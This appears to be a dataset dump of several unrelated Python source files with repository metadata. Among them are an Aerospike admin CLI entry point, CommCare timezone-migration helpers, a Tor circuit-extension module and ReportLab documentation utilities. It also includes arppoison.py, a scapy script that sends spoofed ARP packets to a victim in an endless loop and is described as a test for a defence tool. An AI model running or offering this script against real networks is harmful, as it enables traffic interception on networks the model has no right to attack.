if password == conf.DEFAULTPASSWORD: if sys.stdin.isatty(): password = getpass.getpass("Enter Password:") else: password = sys.stdin.readline().strip() if not info.hasbcrypt: logger.critical("Authentication failed: bcrypt not installed.") assock = ASSocket(seed[0], seed[1], seed[2], user, password, auth_mode, ssl_context) if not assock.connect(): logger.critical("Not able to connect any cluster with " + str(seed) + ".") return if not assock.login(): logger.critical( "Not able to login and authenticate any cluster with " + str(seed) + "." ) return node_name = "%s:%s" % (seed[0], seed[1]) for command in cmds: if command: command = util.strip_string(command) result = assock.info(command) if result == -1 or result is None: result = IOError("Error: Invalid command '%s'" % command) view.CliView.asinfo({node_name: result}, line_separator, False, None) return def main(): cli_args = conf.get_cli_args() admin_version = get_version() if cli_args.help: conf.print_config_help() exit(0) if cli_args.version: print("Aerospike Administration Shell") print("Version " + str(admin_version)) exit(0) if cli_args.no_color: disable_coloring() if cli_args.pmap: from lib.live_cluster.collectinfo_controller import CollectinfoController CollectinfoController.get_pmap = True mode = AdminMode.LIVE_CLUSTER if cli_args.collectinfo: mode = AdminMode.COLLECTINFO_ANALYZER if cli_args.log_analyser: if cli_args.collectinfo: logger.critical( "collectinfo-analyser and log-analyser are mutually exclusive options. Please enable only one." ) mode = AdminMode.LOG_ANALYZER if cli_args.json: output_json() if not os.path.isdir(ADMIN_HOME): os.makedirs(ADMIN_HOME) execute_only_mode = False if cli_args.execute is not None: execute_only_mode = True BaseLogger.execute_only_mode = True cli_args, seeds = conf.loadconfig(cli_args, logger) if cli_args.services_alumni and cli_args.services_alternate: logger.critical( "Aerospike does not support alternate address for alumni services. Please enable only one of services_alumni or services_alternate." ) if not cli_args.tls_enable and ( cli_args.auth == AuthMode.EXTERNAL or cli_args.auth == AuthMode.PKI ): logger.critical("TLS is required for authentication mode: " + cli_args.auth) ssl_context = parse_tls_input(cli_args) if cli_args.asinfo_mode: if mode == AdminMode.COLLECTINFO_ANALYZER or mode == AdminMode.LOG_ANALYZER: logger.critical( "asinfo mode cannot work with Collectinfo-analyser or Log-analyser mode." ) commands_arg = cli_args.execute if commands_arg and os.path.isfile(commands_arg): commands_arg = parse_commands(commands_arg) try: execute_asinfo_commands( commands_arg, seeds[0], user=cli_args.user, password=cli_args.password, auth_mode=cli_args.auth, ssl_context=ssl_context, line_separator=cli_args.line_separator, ) exit(0) except Exception as e: logger.error(e) exit(1) if not execute_only_mode: readline.set_completer_delims(" \t\n;") shell = AerospikeShell( admin_version, seeds, user=cli_args.user, password=cli_args.password, auth_mode=cli_args.auth, use_services_alumni=cli_args.services_alumni, use_services_alt=cli_args.services_alternate, log_path=cli_args.log_path, mode=mode, ssl_context=ssl_context, only_connect_seed=cli_args.single_node, execute_only_mode=execute_only_mode, timeout=cli_args.timeout, ) use_yappi = False if cli_args.profile: try: import yappi use_yappi = True except Exception as a: print("Unable to load profiler") print("Yappi Exception:") print(str(a)) exit(1) func = None args = () single_command = True real_stdout = sys.stdout if not execute_only_mode: if not shell.connected: exit(1) func = shell.cmdloop single_command = False else: commands_arg = cli_args.execute max_commands_to_print_header = 1 command_index_to_print_from = 1 if os.path.isfile(commands_arg): commands_arg = parse_commands(commands_arg) max_commands_to_print_header = 0 command_index_to_print_from = 0 if cli_args.out_file: try: f = open(str(cli_args.out_file), "w") sys.stdout = f disable_coloring() max_commands_to_print_header = 0 command_index_to_print_from = 0 except Exception as e: print(e) def cleanup(): try: sys.stdout = real_stdout if f: f.close() except Exception: pass if shell.connected: line = shell.precmd( commands_arg, max_commands_to_print_header=max_commands_to_print_header, command_index_to_print_from=command_index_to_print_from, ) shell.onecmd(line) func = shell.onecmd args = (line,) else: if "collectinfo" in commands_arg: logger.warning( "Collecting only System data. Not able to connect any cluster with " + str(seeds) + "." ) func = common.collect_sys_info(port=cli_args.port) cleanup() exit(1) cleanup() logger.critical("Not able to connect any cluster with " + str(seeds) + ".") cmdloop(shell, func, args, use_yappi, single_command) shell.close() try: sys.stdout = real_stdout if f: f.close() except Exception: pass def disable_coloring(): from .lib.view import terminal terminal.enable_color(False) def output_json(): from lib.view.sheet import set_style_json set_style_json() def cmdloop(shell, func, args, use_yappi, single_command): try: if use_yappi: import yappi yappi.start() func(*args) yappi.get_func_stats().print_all() else: func(*args) except (KeyboardInterrupt, SystemExit): if not single_command: shell.intro = ( terminal.fg_red() + "\nTo exit asadm utility please run exit command." + terminal.fg_clear() ) cmdloop(shell, func, args, use_yappi, single_command) def parse_commands(file): commands = "" commented = False for line in open(file, "r").readlines(): if not line or not line.strip(): continue if commented: if line.strip().endswith(CMD_FILE_MULTI_LINE_COMMENT_END): commented = False continue if line.strip().startswith(CMD_FILE_SINGLE_LINE_COMMENT_START): continue if line.strip().startswith(CMD_FILE_MULTI_LINE_COMMENT_START): if not line.strip().endswith(CMD_FILE_MULTI_LINE_COMMENT_END): commented = True continue try: commands = commands + line except Exception: commands = line return commands def get_version(): if __version__.startswith("$$"): path = sys.argv[0].split("/")[:-1] path.append("version.txt") vfile = "/".join(path) f = open(vfile) version = f.readline() f.close() return str(version) else: return __version__ if __name__ == "__main__": main()
true
true
f73d93f3030366dca7556789baf83d627a52dd97
1,100
py
Python
arppoison.py
Xavier8502/ProyectoFinal
ab3be9aea9ddb89ba2135cb25b0c0ecdfff15ee8
[ "Apache-2.0" ]
20
2017-05-03T21:24:19.000Z
2021-07-18T13:45:48.000Z
arppoison.py
Xavier8502/ProyectoFinal
ab3be9aea9ddb89ba2135cb25b0c0ecdfff15ee8
[ "Apache-2.0" ]
1
2021-04-26T06:59:32.000Z
2021-04-26T06:59:32.000Z
arppoison.py
Xavier8502/ProyectoFinal
ab3be9aea9ddb89ba2135cb25b0c0ecdfff15ee8
[ "Apache-2.0" ]
9
2016-12-26T16:25:30.000Z
2020-01-02T05:17:57.000Z
#!/usr/bin/env python # # Execute with sudo python arppoison.py # # ARP Poisoning Script for testing defendARP.py and defendARP.bat # import time import sys from scapy.all import * from optparse import OptionParser def main(argv): # Create option parser parser = OptionParser() # Define options parser.add_option("-v", "--victim", dest="victim", help="Victim's IP address.") parser.add_option("-s", "--spoof", dest="spoof", help="Gateway's IP address.") parser.add_option("-m", "--mac", dest="mac", help="Attacker's phyisical address.") (options, args) = parser.parse_args() op = 1 # Validate input if options.victim == None: print("No victim IP given. Quitting.") sys.exit() if options.spoof == None: print("No gateway IP address given. Quitting.") sys.exit() if options.mac == None: print("No attacker MAC address given. Quitting.") # Create spoofed ARP request arp=ARP(op=op,psrc=options.spoof,pdst=options.victim,hwdst=options.mac) # ARP Poison while 1: send(arp) time.sleep(2) # Main function called upon script entry if __name__ == "__main__": main(sys.argv)
26.829268
83
0.705455
import time import sys from scapy.all import * from optparse import OptionParser def main(argv): parser = OptionParser() parser.add_option("-v", "--victim", dest="victim", help="Victim's IP address.") parser.add_option("-s", "--spoof", dest="spoof", help="Gateway's IP address.") parser.add_option("-m", "--mac", dest="mac", help="Attacker's phyisical address.") (options, args) = parser.parse_args() op = 1 # Validate input if options.victim == None: print("No victim IP given. Quitting.") sys.exit() if options.spoof == None: print("No gateway IP address given. Quitting.") sys.exit() if options.mac == None: print("No attacker MAC address given. Quitting.") # Create spoofed ARP request arp=ARP(op=op,psrc=options.spoof,pdst=options.victim,hwdst=options.mac) # ARP Poison while 1: send(arp) time.sleep(2) # Main function called upon script entry if __name__ == "__main__": main(sys.argv)
true
true
f73d9593a5050638dfe37f3f4badfff9e0f85d38
4,307
py
Python
corehq/apps/tzmigration/api.py
johan--/commcare-hq
86ee99c54f55ee94e4c8f2f6f30fc44e10e69ebd
[ "BSD-3-Clause" ]
null
null
null
corehq/apps/tzmigration/api.py
johan--/commcare-hq
86ee99c54f55ee94e4c8f2f6f30fc44e10e69ebd
[ "BSD-3-Clause" ]
1
2022-03-12T01:03:25.000Z
2022-03-12T01:03:25.000Z
corehq/apps/tzmigration/api.py
johan--/commcare-hq
86ee99c54f55ee94e4c8f2f6f30fc44e10e69ebd
[ "BSD-3-Clause" ]
null
null
null
import threading from django.conf import settings from corehq.apps.tzmigration.exceptions import TimezoneMigrationProgressError from corehq.util.quickcache import skippable_quickcache from corehq.util.soft_assert import soft_assert from corehq.util.view_utils import get_request from models import TimezoneMigrationProgress, MigrationStatus def set_migration_started(domain): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) if progress.migration_status == MigrationStatus.NOT_STARTED: progress.migration_status = MigrationStatus.IN_PROGRESS progress.save() # reset cache get_migration_status(domain, strict=True) else: raise TimezoneMigrationProgressError( 'Cannot start a migration that is already in state {}' .format(progress.migration_status) ) def set_migration_not_started(domain): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) if progress.migration_status == MigrationStatus.IN_PROGRESS: progress.migration_status = MigrationStatus.NOT_STARTED progress.save() # reset cache get_migration_status(domain, strict=True) else: raise TimezoneMigrationProgressError( 'Cannot abort a migration that is in state {}' .format(progress.migration_status) ) def set_migration_complete(domain): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) if progress.migration_status != MigrationStatus.COMPLETE: progress.migration_status = MigrationStatus.COMPLETE progress.save() # reset cache get_migration_status(domain, strict=True) def get_migration_complete(domain): return get_migration_status(domain) == MigrationStatus.COMPLETE @skippable_quickcache(['domain'], skip_arg='strict') def get_migration_status(domain, strict=False): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) return progress.migration_status def timezone_migration_in_progress(domain): return get_migration_status(domain) == MigrationStatus.IN_PROGRESS def phone_timezones_have_been_processed(): """ The timezone data migration happening some time in Apr-May 2015 will shift all phone times (form.timeEnd, case.modified_on, etc.) to UTC so functions that deal with converting to or from phone times use this function to decide what type of timezone conversion is necessary """ if settings.UNIT_TESTING: override = getattr( settings, 'PHONE_TIMEZONES_HAVE_BEEN_PROCESSED', None) if override is not None: return override return (_get_migration_status_from_threadlocals() == MigrationStatus.COMPLETE) def phone_timezones_should_be_processed(): try: if _thread_local._force_phone_timezones_should_be_processed: return True except AttributeError: pass if settings.UNIT_TESTING: override = getattr( settings, 'PHONE_TIMEZONES_SHOULD_BE_PROCESSED', None) if override is not None: return override return _get_migration_status_from_threadlocals() in ( MigrationStatus.IN_PROGRESS, MigrationStatus.COMPLETE) _thread_local = threading.local() class _ForcePhoneTimezonesShouldBeProcessed(object): def __enter__(self): try: self.orig = _thread_local._force_phone_timezones_should_be_processed except AttributeError: self.orig = False _thread_local._force_phone_timezones_should_be_processed = True def __exit__(self, exc_type, exc_val, exc_tb): _thread_local._force_phone_timezones_should_be_processed = self.orig def force_phone_timezones_should_be_processed(): return _ForcePhoneTimezonesShouldBeProcessed() def _get_migration_status_from_threadlocals(): _default = MigrationStatus.NOT_STARTED _assert = soft_assert(['droberts' + '@' + 'dimagi.com']) try: request = get_request() try: domain = request.domain except AttributeError: return _default return get_migration_status(domain) except Exception as e: _assert(False, 'Error in _get_migration_status', e) return _default
34.18254
80
0.729974
import threading from django.conf import settings from corehq.apps.tzmigration.exceptions import TimezoneMigrationProgressError from corehq.util.quickcache import skippable_quickcache from corehq.util.soft_assert import soft_assert from corehq.util.view_utils import get_request from models import TimezoneMigrationProgress, MigrationStatus def set_migration_started(domain): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) if progress.migration_status == MigrationStatus.NOT_STARTED: progress.migration_status = MigrationStatus.IN_PROGRESS progress.save() get_migration_status(domain, strict=True) else: raise TimezoneMigrationProgressError( 'Cannot start a migration that is already in state {}' .format(progress.migration_status) ) def set_migration_not_started(domain): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) if progress.migration_status == MigrationStatus.IN_PROGRESS: progress.migration_status = MigrationStatus.NOT_STARTED progress.save() get_migration_status(domain, strict=True) else: raise TimezoneMigrationProgressError( 'Cannot abort a migration that is in state {}' .format(progress.migration_status) ) def set_migration_complete(domain): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) if progress.migration_status != MigrationStatus.COMPLETE: progress.migration_status = MigrationStatus.COMPLETE progress.save() get_migration_status(domain, strict=True) def get_migration_complete(domain): return get_migration_status(domain) == MigrationStatus.COMPLETE @skippable_quickcache(['domain'], skip_arg='strict') def get_migration_status(domain, strict=False): progress, _ = TimezoneMigrationProgress.objects.get_or_create(pk=domain) return progress.migration_status def timezone_migration_in_progress(domain): return get_migration_status(domain) == MigrationStatus.IN_PROGRESS def phone_timezones_have_been_processed(): if settings.UNIT_TESTING: override = getattr( settings, 'PHONE_TIMEZONES_HAVE_BEEN_PROCESSED', None) if override is not None: return override return (_get_migration_status_from_threadlocals() == MigrationStatus.COMPLETE) def phone_timezones_should_be_processed(): try: if _thread_local._force_phone_timezones_should_be_processed: return True except AttributeError: pass if settings.UNIT_TESTING: override = getattr( settings, 'PHONE_TIMEZONES_SHOULD_BE_PROCESSED', None) if override is not None: return override return _get_migration_status_from_threadlocals() in ( MigrationStatus.IN_PROGRESS, MigrationStatus.COMPLETE) _thread_local = threading.local() class _ForcePhoneTimezonesShouldBeProcessed(object): def __enter__(self): try: self.orig = _thread_local._force_phone_timezones_should_be_processed except AttributeError: self.orig = False _thread_local._force_phone_timezones_should_be_processed = True def __exit__(self, exc_type, exc_val, exc_tb): _thread_local._force_phone_timezones_should_be_processed = self.orig def force_phone_timezones_should_be_processed(): return _ForcePhoneTimezonesShouldBeProcessed() def _get_migration_status_from_threadlocals(): _default = MigrationStatus.NOT_STARTED _assert = soft_assert(['droberts' + '@' + 'dimagi.com']) try: request = get_request() try: domain = request.domain except AttributeError: return _default return get_migration_status(domain) except Exception as e: _assert(False, 'Error in _get_migration_status', e) return _default
true
true
f73d9678be2d0e3879b67e22c220f32454b9c95d
1,529
py
Python
lightnion/extend.py
pthevenet/lightnion
c9e842d3c269d0d39fa62d68f7f83ffb17c5161e
[ "BSD-3-Clause" ]
120
2019-02-24T20:34:17.000Z
2021-11-24T16:03:43.000Z
lightnion/extend.py
pthevenet/lightnion
c9e842d3c269d0d39fa62d68f7f83ffb17c5161e
[ "BSD-3-Clause" ]
5
2020-01-20T11:45:41.000Z
2020-03-03T12:22:42.000Z
lightnion/extend.py
pthevenet/lightnion
c9e842d3c269d0d39fa62d68f7f83ffb17c5161e
[ "BSD-3-Clause" ]
3
2019-03-18T21:24:43.000Z
2020-10-09T02:53:00.000Z
import random import base64 import io import nacl.public import lightnion as lnn def circuit(state, descriptor): onion_key = base64.b64decode(descriptor['ntor-onion-key'] + '====') eidentity = descriptor['identity']['master-key'] # (assuming ed25519 here) identity = base64.b64decode(descriptor['router']['identity'] + '====') addr = descriptor['router']['address'] port = descriptor['router']['orport'] eph_key, hdata = lnn.crypto.ntor.hand(identity, onion_key) payload = lnn.cell.relay.extend2.pack( hdata, [(addr, port)], [identity, eidentity]) state = lnn.hop.send(state, lnn.cell.relay.cmd.RELAY_EXTEND2, payload.raw, stream_id=0) state, cells = lnn.hop.recv(state, once=True) if not len(cells) == 1: raise RuntimeError('Expected exactly one cell, got: {}'.format(cells)) if not cells[0].relay.cmd == lnn.cell.relay.cmd.RELAY_EXTENDED2: raise RuntimeError('Expected EXTENDED2, got {} here: {}'.format( cells[0].relay.cmd, cell.relay.truncated)) payload = lnn.cell.relay.extended2.payload(cells[0].relay.data) if not payload.valid: raise RuntimeError('Invalid EXTENDED2 payload: {}'.format( payload.truncated)) raw_material = lnn.crypto.ntor.shake(eph_key, payload.data, identity, onion_key, length=92) material = lnn.crypto.ntor.kdf(raw_material) extended = lnn.create.circuit(state.circuit.id, material) state.wrap(lnn.onion.state(state.link, extended)) return state
33.977778
78
0.673643
import random import base64 import io import nacl.public import lightnion as lnn def circuit(state, descriptor): onion_key = base64.b64decode(descriptor['ntor-onion-key'] + '====') eidentity = descriptor['identity']['master-key'] identity = base64.b64decode(descriptor['router']['identity'] + '====') addr = descriptor['router']['address'] port = descriptor['router']['orport'] eph_key, hdata = lnn.crypto.ntor.hand(identity, onion_key) payload = lnn.cell.relay.extend2.pack( hdata, [(addr, port)], [identity, eidentity]) state = lnn.hop.send(state, lnn.cell.relay.cmd.RELAY_EXTEND2, payload.raw, stream_id=0) state, cells = lnn.hop.recv(state, once=True) if not len(cells) == 1: raise RuntimeError('Expected exactly one cell, got: {}'.format(cells)) if not cells[0].relay.cmd == lnn.cell.relay.cmd.RELAY_EXTENDED2: raise RuntimeError('Expected EXTENDED2, got {} here: {}'.format( cells[0].relay.cmd, cell.relay.truncated)) payload = lnn.cell.relay.extended2.payload(cells[0].relay.data) if not payload.valid: raise RuntimeError('Invalid EXTENDED2 payload: {}'.format( payload.truncated)) raw_material = lnn.crypto.ntor.shake(eph_key, payload.data, identity, onion_key, length=92) material = lnn.crypto.ntor.kdf(raw_material) extended = lnn.create.circuit(state.circuit.id, material) state.wrap(lnn.onion.state(state.link, extended)) return state
true
true
f73d96a8a1a2ad070e8daa3d9eeeaf0354482ba9
13,941
py
Python
tools/docco/rl_doc_utils.py
nn3un/reportlab-mirror
292f63579729b2ef8c23a7c7279c068c657d8e41
[ "BSD-3-Clause" ]
55
2019-09-21T02:45:18.000Z
2021-12-10T13:38:51.000Z
tools/docco/rl_doc_utils.py
nn3un/reportlab-mirror
292f63579729b2ef8c23a7c7279c068c657d8e41
[ "BSD-3-Clause" ]
4
2019-09-26T03:16:50.000Z
2021-12-10T13:40:49.000Z
tools/docco/rl_doc_utils.py
nn3un/reportlab-mirror
292f63579729b2ef8c23a7c7279c068c657d8e41
[ "BSD-3-Clause" ]
26
2019-09-25T03:54:30.000Z
2022-03-21T14:03:12.000Z
#!/bin/env python #Copyright ReportLab Europe Ltd. 2000-2017 #see license.txt for license details #history https://hg.reportlab.com/hg-public/reportlab/log/tip/tools/docco/rl_doc_utils.py __version__='3.3.0' __doc__ = """ This module contains utilities for generating guides """ import os, sys, glob import string from reportlab.lib.utils import asUnicode from .rltemplate import RLDocTemplate from .stylesheet import getStyleSheet styleSheet = getStyleSheet() #from reportlab.platypus.doctemplate import SimpleDocTemplate from reportlab.lib.units import inch from reportlab.lib.pagesizes import letter, A4, A5, A3 # latter two for testing from reportlab.rl_config import defaultPageSize from reportlab.platypus import figures from reportlab.platypus import Paragraph, Spacer, Preformatted,\ PageBreak, CondPageBreak, Flowable, Table, TableStyle, \ NextPageTemplate, KeepTogether, Image, XPreformatted from reportlab.platypus.xpreformatted import PythonPreformatted from reportlab.lib.styles import ParagraphStyle from reportlab.lib import colors from reportlab.lib.sequencer import getSequencer from xml.sax.saxutils import escape as xmlEscape from . import examples appmode=0 from .t_parse import Template QFcodetemplate = Template("X$X$", "X") QFreptemplate = Template("X^X^", "X") codesubst = "%s<font name=Courier><nobr>%s</nobr></font>" QFsubst = "%s<font name=Courier><i><nobr>%s</nobr></i></font>" def quickfix(text): """inside text find any subsequence of form $subsequence$. Format the subsequence as code. If similarly if text contains ^arg^ format the arg as replaceable. The escape sequence for literal $ is $\\$ (^ is ^\\^. """ for (template,subst) in [(QFcodetemplate, codesubst), (QFreptemplate, QFsubst)]: fragment = text parts = [] try: while fragment: try: (matches, index) = template.PARSE(fragment) except: raise ValueError else: [prefix, code] = matches if code == "\\": part = fragment[:index] else: part = subst % (prefix, code) parts.append(part) fragment = fragment[index:] except ValueError: parts.append(fragment) text = ''.join(parts) return text #print quickfix("$testing$ testing $one$ ^two^ $three(^four^)$") H1 = styleSheet['Heading1'] H2 = styleSheet['Heading2'] H3 = styleSheet['Heading3'] H4 = styleSheet['Heading4'] B = styleSheet['BodyText'] BU = styleSheet['Bullet'] Comment = styleSheet['Comment'] Centred = styleSheet['Centred'] Caption = styleSheet['Caption'] #set up numbering seq = getSequencer() seq.setFormat('Chapter','1') seq.setFormat('Section','1') seq.setFormat('Appendix','A') seq.setFormat('Figure', '1') seq.chain('Chapter','Section') seq.chain('Chapter','Figure') lessonnamestyle = H2 discussiontextstyle = B exampletextstyle = styleSheet['Code'] # size for every example examplefunctionxinches = 5.5 examplefunctionyinches = 3 examplefunctiondisplaysizes = (examplefunctionxinches*inch, examplefunctionyinches*inch) def getJustFontPaths(): '''return afm and pfb for Just's files''' import reportlab folder = os.path.dirname(reportlab.__file__) + os.sep + 'fonts' return os.path.join(folder, 'DarkGardenMK.afm'), os.path.join(folder, 'DarkGardenMK.pfb') # for testing def NOP(*x,**y): return None def CPage(inches): getStory().append(CondPageBreak(inches*inch)) def newPage(): getStory().append(PageBreak()) def nextTemplate(templName): f = NextPageTemplate(templName) getStory().append(f) def disc(text, klass=Paragraph, style=discussiontextstyle): text = quickfix(text) P = klass(text, style) getStory().append(P) def restartList(): getSequencer().reset('list1') def list1(text, doBullet=1): text=quickfix(text) if doBullet: text='<bullet><seq id="list1"/>.</bullet>'+text P = Paragraph(text, BU) getStory().append(P) def bullet(text): text=u'<bullet><font name="Symbol">\u2022</font></bullet>' + asUnicode(quickfix(text)) P = Paragraph(text, BU) getStory().append(P) def eg(text,before=0.1,after=0,klass=PythonPreformatted): space(before) disc(text, klass=klass, style=exampletextstyle) space(after) def npeg(text,before=0.1,after=0): eg(text,before=before,after=after,klass=XPreformatted) def space(inches=1./6): if inches: getStory().append(Spacer(0,inches*inch)) def EmbeddedCode(code,name='t'): eg(code) disc("produces") exec(code+("\ngetStory().append(%s)\n"%name)) def startKeep(): return len(getStory()) def endKeep(s): S = getStory() k = KeepTogether(S[s:]) S[s:] = [k] def title(text): """Use this for the document title only""" disc(text,style=styleSheet['Title']) #AR 3/7/2000 - defining three new levels of headings; code #should be swapped over to using them. def headingTOC(text='Table of contents'): getStory().append(PageBreak()) p = Paragraph(text, H1) getStory().append(p) def heading1(text): """Use this for chapters. Lessons within a big chapter should now use heading2 instead. Chapters get numbered.""" getStory().append(PageBreak()) p = Paragraph('Chapter <seq id="Chapter"/> ' + quickfix(text), H1) getStory().append(p) def Appendix1(text,): global appmode getStory().append(PageBreak()) if not appmode: seq.setFormat('Chapter','A') seq.reset('Chapter') appmode = 1 p = Paragraph('Appendix <seq id="Chapter"/> ' + quickfix(text), H1) getStory().append(p) def heading2(text): """Used to be 'lesson'""" getStory().append(CondPageBreak(inch)) p = Paragraph('<seq template="%(Chapter)s.%(Section+)s "/>' + quickfix(text), H2) getStory().append(p) def heading3(text): """Used to be most of the plain old 'head' sections""" getStory().append(CondPageBreak(inch)) p = Paragraph(quickfix(text), H3) getStory().append(p) def image(path, width=None, height=None ): s = startKeep() space(.2) import reportlab rlDocImageDir = os.path.join(os.path.dirname(reportlab.__file__), 'docs','images') getStory().append(Image(os.path.join(rlDocImageDir,path),width,height)) space(.2) endKeep(s) def heading4(text): """Used to be most of the plain old 'head' sections""" getStory().append(CondPageBreak(inch)) p = Paragraph(quickfix(text), H4) getStory().append(p) def todo(text): """Used for notes to ourselves""" getStory().append(Paragraph(quickfix(text), Comment)) def centred(text): getStory().append(Paragraph(quickfix(text), Centred)) def caption(text): getStory().append(Paragraph(quickfix(text), Caption)) class Illustration(figures.Figure): """The examples are all presented as functions which do something to a canvas, with a constant height and width used. This puts them inside a figure box with a caption.""" def __init__(self, operation, caption, width=None, height=None): stdwidth, stdheight = examplefunctiondisplaysizes if not width: width = stdwidth if not height: height = stdheight #figures.Figure.__init__(self, stdwidth * 0.75, stdheight * 0.75) figures.Figure.__init__(self, width, height, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption)) self.operation = operation def drawFigure(self): #shrink it a little... #self.canv.scale(0.75, 0.75) self.operation(self.canv) def illust(operation, caption, width=None, height=None): i = Illustration(operation, caption, width=width, height=height) getStory().append(i) class GraphicsDrawing(Illustration): """Lets you include reportlab/graphics drawings seamlessly, with the right numbering.""" def __init__(self, drawing, caption): figures.Figure.__init__(self, drawing.width, drawing.height, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption) ) self.drawing = drawing def drawFigure(self): d = self.drawing d.wrap(d.width, d.height) d.drawOn(self.canv, 0, 0) def draw(drawing, caption): d = GraphicsDrawing(drawing, caption) getStory().append(d) class ParaBox(figures.Figure): """Illustrates paragraph examples, with style attributes on the left""" descrStyle = ParagraphStyle('description', fontName='Courier', fontSize=8, leading=9.6) def __init__(self, text, style, caption): figures.Figure.__init__(self, 0, 0, caption) self.text = text self.style = style self.para = Paragraph(text, style) styleText = self.getStyleText(style) self.pre = Preformatted(styleText, self.descrStyle) def wrap(self, availWidth, availHeight): """Left 30% is for attributes, right 50% for sample, 10% gutter each side.""" self.x0 = availWidth * 0.05 #left of box self.x1 = availWidth * 0.1 #left of descriptive text self.x2 = availWidth * 0.5 #left of para itself self.x3 = availWidth * 0.9 #right of para itself self.x4 = availWidth * 0.95 #right of box self.width = self.x4 - self.x0 self.dx = 0.5 * (availWidth - self.width) paw, self.pah = self.para.wrap(self.x3 - self.x2, availHeight) self.pah = self.pah + self.style.spaceBefore + self.style.spaceAfter prw, self.prh = self.pre.wrap(self.x2 - self.x1, availHeight) self.figureHeight = max(self.prh, self.pah) * 10.0/9.0 return figures.Figure.wrap(self, availWidth, availHeight) def getStyleText(self, style): """Converts style to preformatted block of text""" lines = [] for key, value in style.__dict__.items(): lines.append('%s = %s' % (key, value)) lines.sort() return '\n'.join(lines) def drawFigure(self): #now we fill in the bounding box and before/after boxes self.canv.saveState() self.canv.setFillGray(0.95) self.canv.setDash(1,3) self.canv.rect(self.x2 - self.x0, self.figureHeight * 0.95 - self.pah, self.x3-self.x2, self.para.height, fill=1,stroke=1) self.canv.setFillGray(0.90) self.canv.rect(self.x2 - self.x0, #spaceBefore self.figureHeight * 0.95 - self.pah + self.para.height, self.x3-self.x2, self.style.spaceBefore, fill=1,stroke=1) self.canv.rect(self.x2 - self.x0, #spaceBefore self.figureHeight * 0.95 - self.pah - self.style.spaceAfter, self.x3-self.x2, self.style.spaceAfter, fill=1,stroke=1) self.canv.restoreState() #self.canv.setFillColor(colors.yellow) self.para.drawOn(self.canv, self.x2 - self.x0, self.figureHeight * 0.95 - self.pah) self.pre.drawOn(self.canv, self.x1 - self.x0, self.figureHeight * 0.95 - self.prh) def getStyleText(self, style): """Converts style to preformatted block of text""" lines = [] for key, value in sorted(style.__dict__.items()): if key not in ('name','parent'): lines.append('%s = %s' % (key, value)) return '\n'.join(lines) class ParaBox2(figures.Figure): """Illustrates a paragraph side-by-side with the raw text, to show how the XML works.""" def __init__(self, text, caption): figures.Figure.__init__(self, 0, 0, caption) descrStyle = ParagraphStyle('description', fontName='Courier', fontSize=8, leading=9.6) textStyle = B self.text = text self.left = Paragraph(xmlEscape(text), descrStyle) self.right = Paragraph(text, B) def wrap(self, availWidth, availHeight): self.width = availWidth * 0.9 colWidth = 0.4 * self.width lw, self.lh = self.left.wrap(colWidth, availHeight) rw, self.rh = self.right.wrap(colWidth, availHeight) self.figureHeight = max(self.lh, self.rh) * 10.0/9.0 return figures.Figure.wrap(self, availWidth, availHeight) def drawFigure(self): self.left.drawOn(self.canv, self.width * 0.05, self.figureHeight * 0.95 - self.lh ) self.right.drawOn(self.canv, self.width * 0.55, self.figureHeight * 0.95 - self.rh ) def parabox(text, style, caption): p = ParaBox(text, style, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption) ) getStory().append(p) def parabox2(text, caption): p = ParaBox2(text, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption) ) getStory().append(p) def pencilnote(): getStory().append(examples.NoteAnnotation()) from reportlab.lib.colors import tan, green def handnote(xoffset=0, size=None, fillcolor=tan, strokecolor=green): getStory().append(examples.HandAnnotation(xoffset,size,fillcolor,strokecolor)) #make a singleton, created when requested rather #than each time a chapter imports it. _story = [] def setStory(story=[]): global _story _story = story def getStory(): return _story
33.431655
93
0.620615
__version__='3.3.0' __doc__ = """ This module contains utilities for generating guides """ import os, sys, glob import string from reportlab.lib.utils import asUnicode from .rltemplate import RLDocTemplate from .stylesheet import getStyleSheet styleSheet = getStyleSheet() from reportlab.lib.units import inch from reportlab.lib.pagesizes import letter, A4, A5, A3 from reportlab.rl_config import defaultPageSize from reportlab.platypus import figures from reportlab.platypus import Paragraph, Spacer, Preformatted,\ PageBreak, CondPageBreak, Flowable, Table, TableStyle, \ NextPageTemplate, KeepTogether, Image, XPreformatted from reportlab.platypus.xpreformatted import PythonPreformatted from reportlab.lib.styles import ParagraphStyle from reportlab.lib import colors from reportlab.lib.sequencer import getSequencer from xml.sax.saxutils import escape as xmlEscape from . import examples appmode=0 from .t_parse import Template QFcodetemplate = Template("X$X$", "X") QFreptemplate = Template("X^X^", "X") codesubst = "%s<font name=Courier><nobr>%s</nobr></font>" QFsubst = "%s<font name=Courier><i><nobr>%s</nobr></i></font>" def quickfix(text): for (template,subst) in [(QFcodetemplate, codesubst), (QFreptemplate, QFsubst)]: fragment = text parts = [] try: while fragment: try: (matches, index) = template.PARSE(fragment) except: raise ValueError else: [prefix, code] = matches if code == "\\": part = fragment[:index] else: part = subst % (prefix, code) parts.append(part) fragment = fragment[index:] except ValueError: parts.append(fragment) text = ''.join(parts) return text H1 = styleSheet['Heading1'] H2 = styleSheet['Heading2'] H3 = styleSheet['Heading3'] H4 = styleSheet['Heading4'] B = styleSheet['BodyText'] BU = styleSheet['Bullet'] Comment = styleSheet['Comment'] Centred = styleSheet['Centred'] Caption = styleSheet['Caption'] seq = getSequencer() seq.setFormat('Chapter','1') seq.setFormat('Section','1') seq.setFormat('Appendix','A') seq.setFormat('Figure', '1') seq.chain('Chapter','Section') seq.chain('Chapter','Figure') lessonnamestyle = H2 discussiontextstyle = B exampletextstyle = styleSheet['Code'] examplefunctionxinches = 5.5 examplefunctionyinches = 3 examplefunctiondisplaysizes = (examplefunctionxinches*inch, examplefunctionyinches*inch) def getJustFontPaths(): import reportlab folder = os.path.dirname(reportlab.__file__) + os.sep + 'fonts' return os.path.join(folder, 'DarkGardenMK.afm'), 